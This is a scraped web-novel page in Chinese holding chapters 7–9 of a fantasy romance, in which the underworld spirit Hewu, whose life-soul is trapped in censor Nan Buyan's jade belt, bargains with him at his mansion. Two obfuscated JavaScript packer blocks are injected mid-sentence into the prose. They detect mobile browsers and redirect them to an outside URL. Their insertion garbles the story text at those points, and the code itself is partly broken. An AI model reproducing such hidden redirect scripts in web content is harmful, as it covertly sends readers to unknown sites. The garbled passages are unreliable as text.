对于这段可以算的上是昏迷的经历,合芜结合自己这几年不时从阎王殿里翻阅杂书得来的经验看来,大概可以得出一个结论,她的命魂附到了南不宴的腰带上。但是命魂乃是人、鬼、神凌驾于□□意识之上的东西,往往藏于内心深处,难以撬出。若不是有因果相绊的二者,命魂一般不会相互缠绕,可是合芜的命魂竟然缠到了一个凡人的身上,她表示十分得不理解。 一定是出错了。 “我确实不是人,不过你放心,我所作所为皆不会危及南都堂的家人!”合芜先做保证,但是关于自己的身份以及有关于她所要完成的任务之事,如今当然不能就这么全盘托出。 合芜斟酌一下继续道:“我是地府里生养出的精怪,听闻今日是人间的戏月节,便偷偷跑来戏耍,路上正巧遇到小豆丁偷松子糖,便教育了一番,哪成想被诬陷成了人牙子。被都堂大人追捕,一时心急失了手,没想到醒来时就出现在都堂大人的卧房,小女子千不该万不该,求大人放我一马吧。” 握着长剑的手微微松动了些,看着面前少女一脸认真的模样,南不宴眉头轻蹙。 地府?精怪?这些都是什么?以往这些奇奇怪怪的话南不宴都只在冯原的嘴里听到过,但都万万没有少女说得这般光怪陆离。要是放在从前,他是绝对不会相信的,但是今日所见,不得不令南不宴重新思考起来。 但他没有表现出困惑,反而像是看傻子似的看着合芜,缓缓道:“空口白牙,所言虚虚实实,让本都堂如何信你。” 凉嗖嗖的长剑还抵在脖颈上呢,合芜僵持的身子酸得不 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合芜只觉脖子上的长剑终于被收走了,长舒一口气,握着玉带,趁热打铁地说着好话:“我今日本意就不在南都堂身上,只是误会一场罢了,那既然误会已经解开了,小女子便先告辞了。” 她见南不宴没有阻止的意思,便将手里的玉带偷偷收紧了些,想一并带走,这玉带她可要好好带回去研究研究,想办法把自己的命魂给搞出来。 可还没高兴多久,才刚刚转身,身后之人冷冷的话便响起来:“你走,玉带留下。” 合芜一咬牙,背对着南不宴心里都已经把他骂了个千百遍了,不就是一条腰带吗,可回头时她还是笑颜灿烂,歪头讨好:“都堂大人,这腰带我瞧着好生特别,想来堂堂左都御史一定是不差这一条的,要不就将这一条腰带送与我如何?” “不送。” “真的没有转圜的余地吗?要不咱商量商量,若是都堂大人不能赠予,我可以花钱买下。”合芜还想争取。 “这玉带,不行。” 见他还是不松口,合芜也逐渐没了耐心,她堂堂地府大姐大,难道还会怕他?合芜打算直接忽视南不宴,穿门而出,顺便吓吓他。 她是这么想的,也是这么做的,得意洋洋头都不回一下,直直往那门跑去,哪成想—— “咚!” “哎呦!” 合芜捂着额头向后跌到地上,今日她这额头可是遭老罪了。 怎么回事?命魂卡在这玉带里,难不成连一些法术都一并给压制住了? 南不宴快步走到合芜的身边,皱着眉但却什么都没说,俯下身伸出手。 合芜抬头看他,心里偷笑,不错不错,知道她摔倒,会来扶人,孺子可教也。 她伸出手,假意羞涩低头,等着南不宴来扶,可预料之内的触感并没有传来,合芜微抬眼,只见那双骨节分明的手错过她的掌心,目的明确地伸向地上那条掉落的玉带,捡起后轻柔掸去玉带沾上的灰。 合芜黑脸:“……”她真的是想得太多了,此人乃木头,也不知道之前的崔姑娘是如何喜欢上他的,莫不是瞎了眼。这人可是又小气,又不好说话。 看他那宝贝自己腰带的样子,不要就不要嘛,反正日后有的相见,她总有机会将玉带偷来不是,只不过是时间问题,这玉带放在南不宴这里,他又如此珍视,倒也出不了什么差池,到时候再来取也无不可。 南不宴什么都没说,只是转身将玉带好好安置在桌上。 合芜手撑着地站起身,拍拍身上的灰,飞快推开门,猫着腰跑走了。这一路上畅通无阻,直到合芜跑出了左都御史府都没有人拦着。 不愧是我,如有天助,合芜心里偷乐着,大摇大摆出了府门。夜已深,纵然今日是戏月节,到了这个时辰街上也是鲜少有人了。 合芜在街上走着,“死”里逃生,心情不错,口中小曲未停。 哪知刚走出左都御史府还未有百步,迎面像是碰到了一面空气墙,纵然使再大的力气也无法向前迈进一步。 “这是……”合芜伸手感受着屏障的波动,屏障有着一定的弧度,“曲面的。” 得嘞,走不了了,合芜了然。 命魂不在体内,肉身无法离开命魂太远的距离。 合芜回首无奈看向身后的左都御史府,良久嘴角一抽。 真是对不住了,南不宴,谁让你不将玉带借予我,那只能换我借你府上的树,躺上一夜喽。 7. 烽烟烬里故人归(六) 晨雾还没散,像给左都御史府的老槐树裹了层轻纱。 合芜躺在粗壮的枝桠间,后背靠着树干,身上还沾着些夜露,头发被风吹得有些凌乱,不难发现其间夹杂着些许槐树细小的枝叶,但看着倒是不突兀,也毫无违和感,像是与她融为一体似的。 她昨晚精挑细选了一棵可以远观南不宴卧房,却又难以被其察觉的槐树,借着隐术躲了上去,本想着观察观察南不宴有何动静,哪成想躺着怪舒服的,竟抱着树枝睡了一夜,直到清晨的鸟才叫把她吵醒。 揉了揉发胀的太阳穴,合芜往下挪了挪,扒着浓密的槐树叶往下看。不远处就是南不宴的书房,雕花窗户开了一夜,透过窗口能隐约看见里面的书案。 合芜找了个更舒服的姿势,心里开始盘算起来怎么才能拿回自己的命魂。 这东西鬼界也没人教呀,要不她还是找个机会将南不宴敲晕,直接带着人去地府,又或者把阎王摇到人界来,也不知道哪个想法实现的可能更大。 合芜正托腮琢磨着。 “神仙姐姐!神仙姐姐!” 清脆的喊声突然从树下传来,打破了清晨的宁静。 合芜吓了一跳,差点从树枝上滑下去,赶紧稳住身形。她低头往树下一瞅。 “小……小豆丁?” 只见恒儿穿着一身鹅黄色的短褂,正仰着小脸,挥着小手往树上喊。 恒儿见神仙姐姐探出头,眼睛瞬间亮了,踮着脚尖又喊:“神仙姐姐!” 合芜看着树下蹦蹦跳跳的小家伙,心里又气又好笑,这位置如此刁钻,这小豆丁是怎么发现她的。而且他大清早的来这儿喊她,要是被南不宴听见,岂不是又要惹麻烦? 合芜赶紧做了个嘘声的手势,朝恒儿挥挥手,让他往一旁站站,随后三下两下从树上越跃下,弯腰对着恒儿,压低声音道:“小豆丁别喊那么大声,还有,你是怎么知道大姐姐在树上的?” 小孩子就是嫩,合芜瞧着恒儿圆嘟嘟的小脸,忍不住捏了一把,嗯手感不错呀! 恒儿任由合芜掐着小脸:“神仙姐姐,昨日恒儿把舅舅藏的秋露白挖出来,请府里的哥哥叔叔们喝,想办法把他们都引到庖厨去了,可是大姐姐你怎么还没逃出去呢?” “秋露白?”合芜一愣,昨日她跑出左都御史府的时候好像确实没见到什么人,反应过来,“哦!小豆丁,原来昨日是你把人引走的呀。姐姐我没事,我留下呢原因自有考量,反倒是你,你偷了你舅舅的酒,若是被他发现了,他不会罚你吗?” 恒儿不好意思地挠挠头,“反正我舅舅藏的酒多,他也不会发现的。” “那就好。” “神仙姐姐,若不是昨日恒儿说你是人牙子,你也不会被我舅舅捉回来的,姐姐可别怪我,恒儿只是不想姐姐走,昨日舅舅他可有为难姐姐?”恒儿奶声奶气道。 合芜早就不生恒儿的气了,他孩子心性,只是想和喜欢的人玩,也没什么错,不过话说回来,虽然过程惊心动魄,乌龙横生,还丢了钱袋子,但是倒也给了她一个接触南不宴的机会。 “没事的小豆丁,你舅舅没有为难我,放心。”毕竟为难我的是你的好大爹,合芜心里念叨着。 “神仙姐姐,那你是不走了吗?”恒儿高兴道。 “一时半会儿应该是走不了了。”合芜环顾四周,思索着有没有什么办法能让自己名正言顺地留下来。 “那太好了!!!”恒儿人小,但嗓门大的很,这一声差点没合芜吓一跳。 看着绕着自己转圈欢呼的小豆丁,合芜不禁眉尾一挑,计从心来,心智成熟之人不好对付,要讲道理还容易生疑,但是小孩子就不一样了,喜欢就是喜欢,不参杂着算计,她面前蹦跶着的不就是这样的一个机会吗? “小豆丁。”合芜蹲下身,面带笑容温柔道,“大姐姐确实想要留下来陪你玩,但是姐姐如今身无分文,昨日那糖铺老板把姐姐的钱可都骗走了,你也是知道的,姐姐没有居所也没有去处,想在这府里留下来陪你呢也没有合理的理由,小豆丁有没有什么办法能让大姐姐在这府里落脚呀?” 合芜本以为小豆丁至少会先苦恼一番,没想到恒儿眼神一亮,神气得很,拍着胸脯道:“有的有的!昨日我与舅舅说了神仙姐姐,我舅舅是钦天监的官员,对法术什么的特别感兴趣,他极想见你!恒儿这就带大姐姐去见舅舅,舅舅肯定会留下姐姐你的!” 小豆丁的舅舅?合芜回忆着昨日在甘饴弄的场景,南不宴带着一堆人找小豆丁的时候,确实有一个人蹲在小豆丁身边抱着他,年龄与南不宴相仿,衣着也是华丽的很,模样周正,想来那人就是他的舅舅了。 钦天监的?还痴迷法术?这得来全不费功夫呀,合芜想着,嗯,这人听起来最好骗,就他了! “小豆丁,那姐姐能不能留在这府里陪你就看你的能耐喽。” “恒儿一定不会让神仙姐姐失望的!”恒儿咧着嘴笑,牵起合芜的手就带人往府院深处走去。 一路上,合芜观察着御史府,这左都御史府虽然冷清,府里侍奉的下人也是少之又少,但府里打理的却是井井有条,干净整洁,唯一显得不太和谐的,是府里的花草,种类繁多且交叉种植在一起,未特意分类过,也未经过园师的精细修剪。 绕过一片水塘,就是御史府的后院,恒儿将合芜领到水塘边的一间水榭里。 “神仙姐姐,我去找舅舅来,这水榭里景色好,凉快通风,姐姐先在此处歇着,恒儿很快就回来!”恒儿说完就迈着小短腿跑远了。 合芜也不认生,在水榭里的竹椅上坐下。 这里离南不宴的院子不远,越过院墙可以看见他院子的屋角,屋角上挂着铜铃,风吹过铜铃轻晃着,发出悦耳的声响,搅碎在风里。 水塘边路过几个身着下人服饰的小厮与丫鬟,都向着水榭这边探头探脑的。 “哎你看见了吗,那好像是个姑娘!” “哎呀,我眼又不瞎,看的见。” “咱都堂这院子里都多久没有出现姑娘了,两年多了吧,今日可真是稀奇啊!难不成——”一个丫鬟道。 这丫鬟话还没说完,就被一个在御史府里待得还算久的小厮打断,道:“别聊了,别聊了,你们聊的东西要是被发现,几条小命都不够赔的,咱都堂是好说话,但我们也要守好下人的本分,看可以,绝不能在背后嚼主子的舌根。” “是是是……” 众人边看边消失在墙角。 合芜的嘴角微不可查地翘起一个弧度,耳尖动了动。风早已经将那些人的话带到了合芜的耳朵里,看来她在这府里出现,讨论度很高啊,不过这未免也不是一件好事,知道的人越多,到时候她能留下的几率越大,总比神不知鬼不觉地就被南不宴赶出去的好。 只是,他们为什么这么好奇呢,左都御史府这几年都未有进过姑娘?合芜琢磨着方才听来的话,望着下人们消失的那个墙角。 都说京州一对比翼鸟,少年将军南不宴和镖局养女崔禾,合芜想起之前在街头说书摊子那听来的故事,难不成南不宴真是用情至深之人,对崔姑娘念念不忘? 合芜挠挠头,也不对啊,崔姑娘和南不宴不是只是定亲,还未成亲吗,那这小豆丁又是从哪里冒出来的? 哇哦…… 合芜又开始天马行空。 “哈!”合芜一拍石桌,不管小豆丁是怎么来的额,但是他亲口说了他爹是左都御史,那南不宴就是他爹,这爹当的也太不称职了吧,戏月节能把自己的孩子弄丢,啧啧啧,合芜唏嘘。 不过话说回来,这小豆丁怎么还没回来。 * 书房里照进日光,亮堂堂的,书桌上摆着一个钱袋子,上头用红色的细线绣着一个图案,分辨不出来是什么,有点像朵花。 “都堂,这是属下一早听都堂吩咐,从甘饴弄找回来的钱袋子,那糖铺老板也如实交代了,这钱袋子就是从一个身穿暗红绿色衣裳的姑娘那里顺走的。”一侍卫站在书房里复命道。 南不宴拿起桌上摆着钱袋,看了一眼,看来昨日那姑娘并未说谎,她真是来这戏月节游玩的。 他淡道:“人走了?” “回都堂,人昨晚就已经走了。” 南不宴点点头。 “这钱袋你稍后带走,若是还能遇到那……”南不宴眉头微蹙,手不自觉摸向腰间的玉带,昨晚这玉带还在空中飞过,他斟酌了一下用词,“那姑娘,就归还予她。” “是!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165126|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这件事却是匪夷所思,但终究是过去了,多想无用,只是……只是他总觉着不对劲,这事没那么容易结束,昨日那叫合芜的姑娘,南不宴觉得之后他们还会再见面的。 “侯爷。”那侍卫压低声音道。 听到“侯爷”二字,南不宴的手一僵,这个称呼真是既熟悉又陌生。 “还有何事。”他将手里的钱袋子放下。 自两年前烬烽关一役后,变得事情太多了,身份变了,性情变了,身后也再不会跟着那个话密的,总会叨叨着“小侯爷,小侯爷”的姑娘,即使过去了这般久,南不宴仍总是会幻听,幻视那抹身影。 于那之后,只有与南不宴有过命交情的人还称呼着侯爷,其他的人不论是何原因,同情也好,尊敬也罢,皆改口叫了都堂。 “之前侯爷命属下们查的事,有线索了。” 南不宴手一顿。 “派去的人传了密信回来,说是当初在烬烽关驻守的北漠军营里有一人非北漠人,但那些北漠将领却极听那人的命令,尊其为先生,嫂夫人当年被陷害一事定也与其有关!”侍卫声音急促道。 “不是北漠人?” “是,那人并非北漠人,也不是我朝人士,很是神秘,但好在经过层层探查,我们的人在济婴镇查到了关于那位‘先生’的蛛丝马迹。”侍卫振奋道,“侯爷,这事查了两年多了,可算是查出点线索了。” “济婴镇……”南不宴轻念着。 “侯爷可要属下们继续探查?” “不,她的事,我亲自查。”南不宴眼神复杂。 侍卫点头应声道:“那侯爷何时出发,属下们候着,但凭侯爷令下。 “只是侯爷,此次探查多半不会顺利,且不说那漠北会不会参杂其中,光是侯爷现如今左都御史的身份,就不好离开京州。” “此事不必担心,陛下那我自有说词。”南不宴的视线重新落在桌上的钱袋上。 “风影。”他忽道。 “属下在!” “你可相信这世界上真的有鬼神之说。” “侯,侯爷如今怎么也开始思考起这些事了,从前不都是冯少公子天天念叨着这些吗?”侍卫瞪大了眼,一脸的不可置信。 南不宴摆摆手,道:“罢了。” 怪力乱神之事,飘渺的很,他若不是昨晚亲眼所见又怎么会问出这种问题,可是一个荒谬的念头还是在南不宴心底冒了出来。 若她所言非虚,若她真有这本事,或许能成为他的一份助力,解开眼下困局,毕竟在当年烬烽关有太多没办法用常理解释的事情。 但那合芜看起来性子跳脱,未必会轻易答应帮忙。最重要的是,就算合芜最后同意帮忙,如今他们连去哪里找她都成问题。 南不宴道:“你若无事便先退下吧。” 风影正打算开口,书房外头传来窸窸窣窣的说话声,左都御史府向来安静,书房等地更甚,今日之吵闹要放在平日里是绝对不会发生的。 南不宴皱眉道:“去看看外头发生了何事。” 风影急匆匆跑出去,又急匆匆跑回来,满脸错愕:“侯爷,下人们说后院的水榭里坐着一个面生的姑娘,他们都猜测说是侯爷您的……” “面生的姑娘,御史府的侍卫都是吃素的,连一个姑娘从你们的眼皮子底下进了御史府都不曾察觉?”南不宴面上稍带愠色。 风影连忙单膝跪下道:“是属下失职,但是侯爷,属下保证今早没有人进入过御史府,连一只苍蝇都不会有。” “照你如此说,难道那人是凭空——”南不宴一顿。 凭空……出现。 难道。 是了,只有她可以做到,一定就是她了。 正好!合作的事可以谈谈。 风影观察着自家侯爷变化莫测最后终于松快下来的神色,疑惑地试探道:“侯爷?” 南不宴没有应,拿起桌上的钱袋,随手揣进怀里,绕过书桌快步走出了书房。 风影直愣愣地注视着自家侯爷走远,最后才回过神,对着南不宴逐渐走远的背影喊道:“侯爷,这钱袋不需要属下去还予那姑娘了吗!” “我自己去还!” 现在这钱袋,可是筹码。 8. 烽烟烬里故人归(七) 水榭四周,一群斑斓锦鲤摇弋着,穿梭在水榭的柱基之间,不时探出脑袋,嘴也一张一合地乞着食。 三月正是开桃花的季节,水榭旁边种着几棵桃花树,长势不错,风吹过时总会落下几片粉白的花瓣,漂浮在清绿色的水面上,有沉有浮,一不小心就被那乞食的锦鲤当作食物囫囵吞了下去。 合芜倚靠在水榭的栏杆上,托腮思索着。 等会儿小豆丁的舅舅来了,她应该说些什么取得他的信任呢?若是那小豆丁的舅舅和他爹一样难搞的话,该怎么办呢? 一片纷飞的花瓣飘落在她面前,合芜伸手捧住,桃花是她最早收集的花,蘑居里有好多装着桃花枝的琉璃瓶,不知道那些桃花枝开花了没,合芜将花瓣小心收好。 她越想越气,要不是昨日阴差阳错碰到了南不宴,她的命魂就不会离体,也就不会回不了她的蘑居,更不会没有机会照顾好她的那些小花们。 合芜想好了,若是她的花有个三长两短,他就跑到这御史府来当回采花大盗,反正这御史府里花草多。 “嘶……这桃花是怎么养的这么好的。”合芜盯着水榭边上的桃花出神,忍不住靠近那几株桃树,伸手摸向那花瓣。 * 南不宴快步走到后院的时候,就见水榭里有一个小小的身影倚靠在水榭栏杆上,百无聊赖地伸手逗着池中的锦鲤。 红衣绿褂,如昨日一般,可从远处望去,多了一分沉静,平添出一种疏离感。 南不宴的脚步在院口停下,看着院中人。 合芜的目光被手心里的花瓣引向水榭边栽种着的那几株桃花树,不知道像是想到了什么,起身走到树旁。 为什么会有种熟悉的感觉。 南不宴看得出了神,直到看到合芜的手摸到了花瓣,才回过神来。 那几株桃花是他从前和崔禾一同种下的,这几年来一直都是他一直在照顾,下人们也都识趣地不会擅自来摆弄这几株桃花。 南不宴心里莫名烦躁,面上却不显,只是快步走到水榭前,冷冷开口。 “在做什么。” 一道清冽的声音在合芜的身后响起。 合芜停下动作,以为是小豆丁带着他舅舅来了,忙放松放松面部肌肉,脸上摆上一副笑脸,回头正想套近乎,翩翩然转过身,却见站在她面前的不是别人,是南不宴。 今日他身着一身玄色衣裳,不与昨日的蓝衣清冷,多了几分肃穆。 合芜心里犯怵,下意识道:“你怎么在这里?” 只见南不宴面上无有表情:“这是御史府,合芜姑娘这问题,当是在下来问吧。” 合芜:“……” 好像没错。 “我今日在这,是,是受恒儿相邀,我等好友叙旧呢!”合芜磕巴道。 “好友?我这都堂倒是不知合芜姑娘何时有一个左都御史府里的朋友了?” “就是好友!”合芜虚张声势,“我在等恒儿的舅舅。” “恒儿的……舅舅?”南不宴迟疑,恒儿没有来找他,那合芜口中的舅舅应该就是冯原了。 “对啊,怎么了?” “没什么。”南不宴道,“我只是不知合芜姑娘是何时与冯原认识的。” 原来小豆丁的舅舅叫冯原啊,合芜默默记下。 合芜继续编着,这南不宴要是在追问下去,就要露馅儿了啊喂:“我们最近认识的。” 南不宴似乎是看出了合芜的窘迫,没有继续问下去,反倒走进水榭,选了一把背对合芜的竹椅坐下。 “那在和冯原叙旧之前,不知道姑娘有没有空,先和我叙叙旧。”说着,南不宴还给自己斟了一杯茶。 合芜慢慢挪着脚步进了水榭,但是没有坐下。叙旧?她与这古板的人有什么好叙旧的,是叙旧他昨日追了她三条街,还是叙旧他昨日拿剑抵着她的脖子啊。 敌不动我不动,现在冯原还没有来,合芜还没有找到攻略南不宴夺到腰带的最佳方法,多做多错,莫急莫急。 合芜清清嗓:“我和南都堂没什么好聊的,要不都堂你就别为难我了。” 她话还没说完,南不宴就从怀里将那个钱袋子拿出来放在桌上。 合芜眼睛瞪大追随着他的动作落在桌上的钱袋上。 钱袋上头绣着一朵歪歪扭扭的红花,这她怎么会认不出来。 “我的钱袋!”合芜立马三步并两步冲过去,正欲抓住桌上的钱袋。 可下一秒,南不宴手一伸一收,就将桌上的钱袋拿回手中,站起身举到合芜够不着的地方。 “你!”合芜扑了个空,再加上这身高差,她是怎么蹦都拿不回自己的钱袋子。 南不宴唇角微弯,隐隐透出得逞的得意:“如何,现在可以聊聊了吗?” 合芜吃瘪,现在硬刚斗不过他,只能先服软。 她无奈坐下,一脸的不情愿道:“那南都堂就说说吧,想聊什么。” 南不宴跟着坐下:“不急。” “不急?”合芜只觉莫名其妙,这么耗着可不行啊,要是等会儿小豆丁带冯原来了,她还怎么从冯原的口中套话呀。 罢了罢了,改变不了他那就先委屈委屈自己。合芜斟酌后,心一横,再开口时声音已经夹了起来:“都堂,都堂,南都堂——” 南不宴像是被她这副样子恶心到了,打了个寒颤道:“好了。” 确实是有点过于矫揉造作了,见目的达到,合芜立马闭嘴坐好。 “我要与你谈一个交易,若你昨日所述鬼怪之事属实,那你在冥界是否能够看见一些……已赴黄泉的人。”南不宴直奔主题。 合芜点头:“是。” 南不宴眼里闪过一丝光亮:“那你是否有见过……” “崔姑娘是吗?”合芜接过他的话,“我两年前才在地府化形,没有见过你口中的崔姑娘。”合芜实话实说。 南不宴眼里闪过一丝难以察觉的失落,合芜没发现。 “不过我若是回到冥界,或许可以帮你问问,我是不知道,但也许冥界里有其他人知道。”乐于助人这种事她还是挺乐意效劳的。 许是没想到她会答应得如此爽快,南不宴有些诧异。 “……多谢。” “只是不知道都堂大人求人办事的诚意如何呀?”合芜勾勾手指暗示。 南不宴没有犹豫,抬手将钱袋抛还给合芜。 合芜伸手接住,满意地轻哼着,打开钱袋数了数银子的数目,确认无误后正想把钱袋口子拉好。 突然,计上心头。 嘿嘿嘿。 “不对,我钱袋子里的银钱少了!”合芜皱眉喊道。 南不宴端茶的手一顿,险些洒出来些许,合芜第一次在他的脸上看到了无措和慌乱。 “我没有动过你的银子。” 合芜话术熟练:“可是我钱袋子里的银钱就是少了,钱袋是南都堂帮我找回来的,那好人做到底,南都堂就帮我把少掉的一些补回来吧,再说了,谁知道是不是你自己偷偷扣下的。” “我拿你银子干什么?!”南不宴语塞。 哦呦,是个不会吵架的小伙子。 合芜小脸一昂:“那我怎么知道,反正我不管,钱就是在南都堂你手里丢的。” “我……”南不宴败下阵来只能作罢,松口道,“缺了多少。” “二两!”合芜报价。 “……二两?” 这是报多了?合芜有点心虚。 “那,那就一两。” “……” 南不宴掏出一两银子抛给合芜,道:“我还以为少了许多,就一两银子也值得你这般穷追不舍。” 糟糕,失策,要少了。 合芜懊恼,但嘴上依旧不饶人:“银子再小它也是钱啊,都堂大人富贵惯了,怕是不知道这一个子儿一个子儿存钱的心酸吧。” 听到这话,南不宴一愣。 合芜专注把银子塞进钱袋里,没注意到。 见他今日比昨日好说话太多,合芜尝试得寸进尺。 她指指南不宴腰上的玉带,道:“今日都堂大人这么慷慨,不知可否再满足我一个小小的请求呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165127|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 南不宴顺着她手指的方向看过来,面色不变道:“其他都可以,这条腰带,免谈。” 合芜想不通:“为什么?这腰带上的绣工粗糙得很,就几块玉石看着还算精致,简直就是暴敛天物,南都堂就这么舍不得?” 京州左都御史南都堂,要什么没有,干嘛这么执著于一条腰带。 “故人所赠,送不得。” 南不宴的声音平淡。 “故人所赠?”合芜道,“想不到南都堂这么念旧情,我还以为都堂是一个冷血无情,心思粗糙的人呢。” 说自己念旧情,也不知道念的是哪门子的情,合芜在心里吐槽,连自己恋人留下的孩子都能看丢。 南不宴看向合芜:“不知道是南某哪里做的不好了,竟给合姑娘留下了这样一个冷血无情的形象?” “可不敢这么说。”见现在拿到腰带无望,合芜也就口无遮拦了,“在戏月节这么热闹的日子里南都堂能把自己孩子一个人留在街上,明知道街上人多不安全也不好好看着,真是一个有情有义的大好人。” “我的……孩子?”南不宴疑惑。 呦呵呵,还敢跟我玩不知道? “小豆丁都跟我说了他爹是左都御史,怎么?现在连自己的娃都不敢认了?你这人也太没有担当了点吧。”合芜越说越兴奋,起身转了个圈又在水榭的栏杆上坐稳,翘了个二郎腿靠在柱子上。 “恒儿他是——” “哎,停之停之,不好意思承认?没关系我都已经知道了。怎么?还想要封我的口,那看南都堂封口的诚意喽,不多,就五两银子就好。” “你先听我——” “五两银子太多了?”合芜摸摸下巴,随后展开三根指头,“那三两银子?不能再让步了。” 南不宴轻轻叹口气。 合芜见这回他不反驳,便从栏杆上跃下来,重新在石桌边坐好:“还不行?那南都堂开个价。” 忽然,远处院门口传来唧唧呱呱的声响,夹杂着一重一轻的脚步声。 随后恒儿拉着冯原的袖摆小跑着进了后院,冯原手里还提着一个食盒。 “我今日专门挑的这身衣裳还不错吧。”冯原意气风发地向恒儿展示。 恒儿撅着小嘴:“舅舅,这不是和你那钦天监的官服没什么两样吗。” 冯原笑着:“你还是小娃娃你不懂,这虽然和钦天监的衣裳一样白,但是袖口用银线绣了云纹,锁边也是京州最好的绣工,裁这一套衣裳可花了你舅舅我不少银子呢。” 恒儿早已对自己舅舅这副样子见怪不怪:“我不懂那你还问我做什么。” “哎呀就是问问。”冯原咧着嘴笑着,抬头就看见了水榭里的两人,昨夜的那个少女以及南不宴,“哎!大家都在啊!” 合芜见到往这边走来的两人,一脸看好戏的表情对着南不宴道:“这下小豆丁人来了,南都堂可没有办法狡辩了吧。” 南不宴唇角微弯,不紧不慢地喝着茶。 嘴硬,哼。 合芜轻快站起身,向着走来的两人挥手:“小豆丁这边!” “神仙姐姐!”恒儿跑进水榭,他一眼就看见了同样坐在水榭里的南不宴,甜甜开口,“表舅舅也在这!” 合芜的笑容僵硬在脸上。 可快乐不会消失只会转移,南不宴捏捏恒儿的小脸,看起来心情不错。 “表……舅舅?小豆丁你刚刚叫他什么?”合芜顿时犹如晴天霹雳。 “表舅舅呀。”恒儿一脸天真。 合芜立马将恒儿拉到一边,蹲下身凑到他耳朵边上说:“你昨晚上不是说你爹是左都御史吗?!” “对的神仙姐姐!恒儿是这么说的来着,我爹是左都御史的表姐夫!昨晚上恒儿的话被打断了,没说完。”恒儿想了想摸摸脑袋回答道。 要是现在有个地缝,合芜肯定都已经把自己往下埋个十八层了。她缓缓回头一脸尴尬地看了眼南不宴。 南不宴正盯着她,挑眉问候。 合芜:…… 真是糗大了。 9. 烽烟烬里故人归(八) 合芜还是不死心,捉着恒儿继续说:“小豆丁你别怕,你跟大姐姐说,南不宴真的是你的表舅舅?” “是的!恒儿的表舅舅就是大名鼎鼎的左都御史,还是之前威风凛凛的南将军!”恒儿一脸骄傲。 “那你为何介绍你爹的时候要把他挂在前面啊?” “爹爹说了,表舅舅的名头比他的京州府尹响亮,说出去更气派。” “……” 合芜冷静一会儿,突然起身仿佛之前什么都没发生似的:“今日这天色真是不错哈,特别好啊哈哈哈,是不是都堂大人,啊哈哈哈。”她咧嘴尬笑。 南不宴轻笑。 方才还艳阳高照的天气,随着一阵风“呼”得刮过,云朵被带过,弥漫着整个天空,天光开始阴下来,这天色怎么看都算不上特别好。 “这天色,不错?”南不宴抬眸看了眼,薄唇微启幽幽开口。 合芜的尬笑更僵。 这时候,冯原一个肘击捣在南不宴的肋骨处,抓起桌上的糕点就塞进南不宴的嘴里。 “冯原你——唔!”南不宴闷哼。 “合姑娘说的不错,这天色自然是极好的!”冯原殷切道,“不宴他不懂,瞧这乌云,看着沉,实则是‘龙行云布雨’的吉兆,那是好得不行啊!” 呵呵,真是能编啊,比她还能编。合芜目瞪口呆。 “睁眼说瞎话。”南不宴咽下口中糕点,低声道。 冯原笑道:“不宴哪都好,就是这嘴不太会说话,你别介意啊。” 合芜道:“不介意,当然不介意。” 她怎么敢介意啊,刚才还给人家认了一个儿子,人家不把她当孙子就不错了。 “哎呀真是难得啊,合姑娘真是善良温柔还有学识,冯某佩服。”冯原捧着。 合芜:“我……吗?” 南不宴:“她?” “哎呀你别打岔。”冯原给南不宴使眼色,这好不容易见到一个通晓玄学的姑娘,这不得好好把握住,他就怕南不宴一句话给人聊不开心,到时候人走了,他的那些真知灼见又要找谁诉说不是? 冯原正欲开口,只听身后传来一串急促的脚步声。 “都堂!”风影气喘吁吁站定在水榭外。 冯原咬牙切齿:“还让不让人说话了?” 风影不好意思道:“实在是一些要紧事,冯少公子在下失礼了。”风影看向南不宴。 “都堂,济婴镇那边传来新的消息,是关于嫂夫人的。” 南不宴面容冷凝下来,快速站起身。 冯原原先气恼的表情在一瞬间打了蔫,大气都不敢出,撇眼观察着南不宴。 “我先走一步。”南不宴说完便头也不回地出了后院,风影紧随其后。 合芜在状况之外,愣愣地看着。 恒儿摇着冯原的手:“舅舅,表舅舅他又要去找表舅妈了吗?” 恒儿不知道崔禾已经离世的消息,平日里除了他的阿娘,就属崔禾对他最好,崔禾这个表舅妈在恒儿心里的份量重得很。恒儿尚且年幼,两年前崔禾遇害的事众人都瞒着恒儿,到现在小娃娃还以为自己未来的表舅妈被表舅舅气得回了娘家,赌气到现在也不回来看看他。 冯原一时间不知道怎么跟恒儿解释,有些语塞:“嗯,这……” “少公子,小公子该前去用午膳了,早膳的时候小公子就未曾好好用过,现下应当是已经饿了。”恒儿的乳娘在一旁开口解围。 冯原顺着她的话说了下去:“对对,恒儿你先去用膳。”说着就把恒儿推到乳娘身边。 恒儿不情愿道:“恒儿不饿,恒儿还不想走。” 合芜有眼力见,蹲下身摸摸恒儿的小脑袋道:“小豆丁去吃饭,不吃饭的小娃娃会长不高哦,你如果乖乖听话,等下午有空了大姐姐教你一个简单的法术如何?” 恒儿眼睛眨巴着:“说话算话神仙姐姐!恒儿要拉钩,一百年不许变!” 合芜将小拇指与小豆丁的手指勾住,大拇指对齐一按,笑道:“这下可以了?快去吃饭。” 目送着小豆丁一蹦一跳地出了后院,合芜转过身正想在竹椅上坐坐休息一会儿,没想到一回头就见冯原一脸崇拜的表情。 “冯公子这是?” 